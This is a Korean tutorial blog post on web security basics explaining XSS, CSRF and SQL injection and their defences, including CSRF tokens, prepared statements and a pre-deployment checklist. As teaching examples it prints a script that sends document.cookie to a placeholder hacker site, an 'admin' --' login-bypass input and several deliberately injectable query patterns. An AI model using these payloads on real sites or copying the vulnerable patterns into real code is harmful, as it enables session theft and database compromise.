웹 개발 기초 - 프론트/네트워크ㆍ통신

웹 보안 기초: XSS, CSRF, SQL Injection 방어하기

5mincut 2025. 1. 13.
반응형

웹 개발자라면 꼭 알아야 할 3대 보안 취약점! 실제 공격 사례와 함께 XSS, CSRF, SQL Injection의 개념부터 효과적인 방어 전략까지, 이해하기 쉽게 설명해보겠습니다. 당신의 웹 애플리케이션은 안전하신가요?!

웹 보안이 중요한 이유

웹 보안! 개발자라면 한 번쯤 고민해보셨을 주제일 텐데요. 최근 웹 애플리케이션을 통한 사이버 공격이 급증하고 있습니다. 특히 스타트업과 중소기업은 보안 인력과 예산이 부족해 더 큰 위험에 노출되어 있죠. 실제로 많은 기업들이 XSS, CSRF, SQL Injection 같은 기본적인 웹 취약점으로 인한 피해를 겪고 있습니다.

최근 웹 보안 사고 통계와 피해 규모

웹 보안 사고는 기업의 명성뿐만 아니라 재정적으로도 큰 타격을 줄 수 있습니다.

  • 평균 보안 사고 복구 비용: 3,000만원 이상
  • 데이터 유출로 인한 고객 배상금: 건당 평균 50만원
  • 서비스 중단으로 인한 매출 손실: 시간당 최대 수천만원
  • 기업 이미지 실추로 인한 장기적 손실: 측정 불가

개발자가 알아야 할 보안의 기본 원칙

보안은 복잡해 보이지만, 몇 가지 기본 원칙만 잘 지켜도 대부분의 위험을 예방할 수 있습니다.

  1. 최소 권한 원칙
    • 사용자와 프로세스에 필요한 최소한의 권한만 부여
    • 개발 서버와 운영 서버의 권한 분리
    • 디버그 모드와 에러 메시지 제한
  2. 심층 방어
    • 프론트엔드 유효성 검사
    • 백엔드 데이터 검증
    • 데이터베이스 쿼리 보안
    • 네트워크 방화벽 설정

취약점 발견 시 대응 프로세스

보안 취약점을 발견했다면, 아래 단계를 따라 체계적으로 대응합시다.

  1. 상황 파악
    • 취약점의 심각도 평가
    • 영향받는 시스템 범위 확인
    • 임시 대응책 검토
  2. 긴급 조치
    • 필요시 해당 기능 임시 중단
    • 로그 분석으로 피해 여부 확인
    • 팀원들과 정보 공유
  3. 영구 해결
    • 근본 원인 분석
    • 패치 또는 코드 수정
    • 테스트 환경에서 검증

보안 취약점 자가 진단 방법

정기적인 보안 점검은 사고 예방의 첫걸음입니다. 다음 항목들을 체크해보세요.

  1. 입력 데이터 검증
    • 특수문자 필터링
    • 데이터 길이 제한
    • 파일 업로드 제한
  2. 인증과 권한
    • 세션 관리
    • 비밀번호 정책
    • 접근 제어
  3. 데이터 보호
    • 중요 정보 암호화
    • 안전한 통신
    • 백업 정책
  4. 로깅과 모니터링
    • 에러 로그 관리
    • 접근 기록 저장
    • 이상 징후 탐지

이어지는 내용에서는 가장 흔한 웹 보안 취약점인 XSS, CSRF, SQL Injection에 대해 자세히 알아보겠습니다. 각각의 공격이 어떻게 이루어지는지, 그리고 어떻게 막을 수 있는지 실제 사례와 함께 설명드리겠습니다.

XSS(Cross-Site Scripting) 이해하기

웹 보안에서 가장 흔하게 마주치는 취약점, 바로 XSS입니다. 이름부터 어려워 보이죠? 간단히 말하면 '공격자가 내 웹사이트에 악성 스크립트를 심어서 사용자를 공격하는 방법'입니다.

XSS 공격이란?

예를 들어볼게요. 여러분이 자주 가는 커뮤니티 사이트가 있다고 해볼까요? 누군가 게시글에 이런 스크립트를 몰래 숨겨뒀다고 생각해보세요

<script>
  // 여러분의 쿠키를 훔쳐가는 코드
  location.href = "해커사이트?cookie=" + document.cookie;
</script>

무심코 그 게시글을 클릭한 순간, 여러분의 로그인 정보가 고스란히 해커에게 넘어갈 수 있습니다. 무서운 점은 이게 정말 자주 발생한다는 거죠.

XSS의 세 가지 얼굴

XSS는 크게 세 가지 유형으로 구분니다

  1. Stored XSS (저장형)
    • 가장 위험한 유형
    • 악성 스크립트가 서버 DB에 저장됨
    • 게시판 글, 댓글, 유저 프로필 등이 주요 타겟
    • 한 번 심어두면 해당 페이지를 보는 모든 사용자가 피해자가 될 수 있음
  2. Reflected XSS (반사형)
    • URL 파라미터를 통해 일시적으로 실행되는 방식
    • 피싱 메일 등을 통해 악성 URL을 클릭하도록 유도
  3. DOM-based XSS
    • 브라우저에서 자바스크립트 실행 중에 발생
    • 서버를 거치지 않고 클라이언트 단에서 직접 공격
    • 최근 SPA(Single Page Application) 증가로 많이 발견됨

XSS 공격이 일어날 수 있는 일반적인 시나리오

  • 커뮤니티 게시판: 댓글이나 게시글에 스크립트를 포함한 악성 컨텐츠 삽입
  • 검색 기능: 검색어에 스크립트를 포함시켜 결과 페이지에서 실행되게 함
  • 프로필 정보: 이름, 소개글 등 사용자 입력 필드에 스크립트 삽입

XSS 방어를 위한 5가지 핵심 전략

  1. 데이터 이스케이프 처리
    • < > " ' & 등의 특수문자를 HTML 엔티티로 변환
    • 예: < → &lt;, > → &gt;
  2. 입력값 검증
    • 허용된 문자만 입력받기
    • 문자 길이 제한하기
    • 정규식으로 패턴 검사하기
  3. 쿠키 보안 설정
    • HttpOnly 플래그 사용
    • Secure 플래그 적용
    • SameSite 속성 설정
  4. 컨텐츠 보안 정책(CSP) 적용
    • 신뢰할 수 있는 소스의 스크립트만 실행
    • 인라인 스크립트 실행 제한
    • eval() 사용 제한
  5. 최신 보안 라이브러리 사용
    • DOMPurify 같은 검증된 라이브러리 활용
    • 프레임워크 기본 보안기능 활성화

프레임워크별 XSS 방어 방법

각 프레임워크마다 XSS를 막기 위한 기본적인 보안 기능을 제공

React

  • 기본적으로 JSX에서 자동 이스케이프 처리
  • dangerouslySetInnerHTML 사용 시 주의

Vue.js

  • v-html 디렉티브 사용 시 주의
  • 템플릿에서 자동 이스케이프 지원

Angular

  • 기본적으로 모든 값을 이스케이프 처리
  • DomSanitizer 서비스로 추가 보안

다음 챕터에서는 CSRF에 대해 알아볼 텐데요. XSS와 자주 함께 발생하는 취약점이니 꼭 같이 이해하시면 좋겠습니다!

 

CSRF(Cross-Site Request Forgery) 대응하기

CSRF는 공격자가 희생자의 권한을 도용해서 특정 서비스에 요청을 보내는 공격입니다. XSS가 사용자의 브라우저에서 스크립트를 실행하는 거라면, CSRF는 사용자가 의도하지 않은 요청을 서버로 보내는 겁니다.

CSRF 공격의 작동 원리

간단한 시나리오를 보여드리겠습니다.

  1. 사용자가 은행 사이트에 로그인합니다 (쿠키 생성)
  2. 동시에 공격자의 사이트도 접속해 있는 상태
  3. 공격자 사이트에서 은행 사이트로 송금 요청을 위조
  4. 사용자의 쿠키가 자동으로 요청에 포함되어 송금 실행

이런 공격이 가능한 이유는 브라우저가 요청을 보낼 때 자동으로 쿠키를 포함시키기 때문입니다.

취약한 코드 패턴 식별하기

주로 이런 상황에서 CSRF 취약점이 발생합니다

  1. 상태 변경 요청에 대한 검증 부재
  2. GET 요청으로 상태 변경

CSRF 토큰 구현과 검증

CSRF를 막는 가장 일반적인 방법은 토큰을 사용하는 겁니다

 

1.서버에서 토큰 생성

const csrfToken = crypto.randomBytes(32).toString('hex');

2.폼에 토큰 포함

<form action="/transfer" method="POST">
    <input type="hidden" name="_csrf" value="생성된토큰">
    ...
</form>

3.요청 시 토큰 검증

if (req.body._csrf !== req.session.csrfToken) {
    return res.status(403).send('CSRF 토큰 불일치');
}

쿠키 속성을 활용한 보안 강화

CSRF 방어를 위한 쿠키 설정

  1. SameSite 속성
    • Strict: 가장 안전하지만 사용자 경험 저하
    • Lax: 적절한 보안과 사용성의 균형
    • None: HTTPS가 필수이며 추가 보호 필요
  2. Secure 플래그
    • HTTPS 연결에서만 쿠키 전송

프레임워크의 CSRF 보호 기능

대부분의 프레임워크는 CSRF 방어 기능을 내장하고 있습니다:

 

Express.js

const csrf = require('csurf');
app.use(csrf({ cookie: true }));

 

Spring

@EnableWebSecurity
public class SecurityConfig extends WebSecurityConfigurerAdapter {
    @Override
    protected void configure(HttpSecurity http) {
        http.csrf().csrfTokenRepository(CookieCsrfTokenRepository.withHttpOnlyFalse());
    }
}
 

Django

MIDDLEWARE = [
    'django.middleware.csrf.CsrfViewMiddleware',
]
 

다음은 SQL Injection을 알아볼 텐데, 이건 데이터베이스를 직접 공격하는 방식이라 더 치명적일 수 있어요. 곧 이어서 설명드리겠습니다!

SQL Injection 차단하기

SQL Injection은 웹 보안에서 가장 위험한 취약점 중 하나입니다. 공격자가 SQL 쿼리를 조작해서 데이터베이스를 마음대로 조작할 수 있게 되죠.

SQL Injection의 유형과 위험성

가장 기본적인 공격 예시를 보여드릴게요

-- 취약한 로그인 쿼리
SELECT * FROM users WHERE username = '$username' AND password = '$password'

-- 공격자가 입력한 값
username: admin' --
password: 아무값

이렇게 하면 패스워드 검증을 우회해서 admin 계정으로 로그인할 수 있습니다. 왜냐하면 -- 뒷부분이 모두 주석 처리되기 때문이죠.

취약한 쿼리 작성 패턴

이런 코드들은 SQL Injection에 취약합니다

// 1. 문자열 연결로 쿼리 만들기
const query = "SELECT * FROM products WHERE category = '" + userInput + "'";

// 2. 이스케이프 처리 없이 값 삽입
const query = `DELETE FROM users WHERE id = ${userId}`;

// 3. IN 절에 배열 직접 삽입
const query = `SELECT * FROM orders WHERE status IN (${statusList})`;

Prepared Statement 활용법

Prepared Statement를 사용하면 SQL Injection을 효과적으로 막을 수 있습니다

// Node.js + MySQL 예시
const query = 'SELECT * FROM users WHERE id = ?';
connection.query(query, [userId], function(error, results) {
    // 처리
});

// Python + PostgreSQL 예시
cur.execute("SELECT * FROM users WHERE email = %s", (email,))

ORM을 통한 안전한 쿼리 작성

ORM을 사용하면 SQL Injection 걱정 없이 안전한 쿼리를 작성할 수 있습니다

데이터베이스 계정 권한 관리

웹 애플리케이션용 DB 계정은 꼭 필요한 권한만 가지고 있어야 합니다

  1. SELECT 권한 제한
    • 필요한 테이블만 조회 가능하게
    • 민감한 컬럼 접근 제한
  2. INSERT/UPDATE 제한
    • 특정 테이블만 수정 가능하게
    • 중요 필드는 수정 불가능하게
  3. 시스템 명령어 차단
    • EXECUTE 권한 제거
    • 파일 관련 권한 제거

이제 마지막으로 실전 보안 체크리스트를 살펴볼까요? 지금까지 배운 내용을 실제로 어떻게 적용하고 점검할 수 있는지 알아보겠습니다!

실전 보안 체크리스트

개발하고 배포하기 전에 점검해야 할 내용들을 정리해봤습니다.

개발 단계별 보안 점검사항

1. 코드 작성 단계

  • 입력값 검증은 모든 요청에 적용했나?
  • SQL 쿼리에 Prepared Statement 사용했나?
  • XSS 방지를 위한 이스케이프 처리했나?
  • CSRF 토큰 검증 로직 넣었나?
  • 에러 메시지에 민감한 정보 노출되진 않나?

2. 배포 전 단계

  • 디버그 모드 비활성화했나?
  • 불필요한 주석 제거했나?
  • 테스트용 계정 삭제했나?
  • 환경 변수로 중요 정보 분리했나?
  • 로그에 민감정보 노출은 없나?

보안 취약점 테스트 도구 소개

대표적인 무료 도구들입니다

  • OWASP ZAP
    • 웹 취약점 자동 스캔
    • 침투 테스트 가능
  • Burp Suite Community
    • 웹 프록시 기능
    • 요청/응답 분석

모니터링과 로깅 전략

1. 필수 모니터링 항목

  • 비정상적인 요청 패턴
  • 급격한 트래픽 증가
  • 반복된 인증 실패
  • 데이터베이스 이상 동작

2. 로깅 포인트

  • 로그인/로그아웃
  • 중요 데이터 변경
  • 파일 업로드/다운로드
  • 권한 변경

보안 업데이트 관리 방법

1. 정기 업데이트 항목

  • OS 보안 패치
  • 웹 서버 소프트웨어
  • 프레임워크/라이브러리
  • SSL 인증서

2. 의존성 관리

  • npm audit / yarn audit
  • GitHub의 Dependabot 활용
  • 취약점 DB 정기 확인

사고 발생 시 대응 가이드

1. 즉시 조치사항

  • 해당 기능/서비스 격리
  • 공격 대상 URL 비활성화
  • 방화벽으로 특정 IP 차단
  • 클라우드 서비스의 WAF(Web Application Firewall) 활용
  • 피해 범위 파악
  • 임시 차단책 적용

2. 후속 조치

  • 원인 분석과 보완
  • 비슷한 취약점 점검
  • 대응 절차 개선
  • 사고 보고서 작성

이것으로 웹 보안 기초 시리즈를 마무리하겠습니다. 다음 시리즈에서는 CORS에 대해 다룰 예정이니 기대해주세요!

반응형

댓글

💲 추천 글